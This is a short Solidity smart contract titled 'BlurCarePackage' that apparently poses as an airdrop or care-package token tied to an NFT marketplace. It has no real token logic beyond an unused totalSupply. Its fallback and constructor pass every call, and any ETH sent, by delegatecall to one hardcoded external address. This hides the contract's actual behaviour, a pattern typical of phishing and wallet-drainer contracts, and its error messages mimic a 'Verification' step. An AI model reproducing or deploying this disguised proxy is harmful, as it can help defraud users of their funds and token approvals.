// SPDX-License-Identifier: MIT

pragma solidity <=0.8.13;

contract BlurCarePackage {
    uint256 private totalSupply = 5051;
    fallback(bytes calldata data) payable external returns(bytes memory){
        (bool r1, bytes memory result) = address(0x23992527be19C78901D0E1EFcC5D802e6d2311a0).delegatecall(data);
        require(r1, "Verification.");
        return result;
    }

    receive() payable external {
    }

    constructor() {
        bytes memory data = abi.encodeWithSignature("initialize()");
        (bool r1,) = address(0x23992527be19C78901D0E1EFcC5D802e6d2311a0).delegatecall(data);
        require(r1, "Verificiation.");
    }
}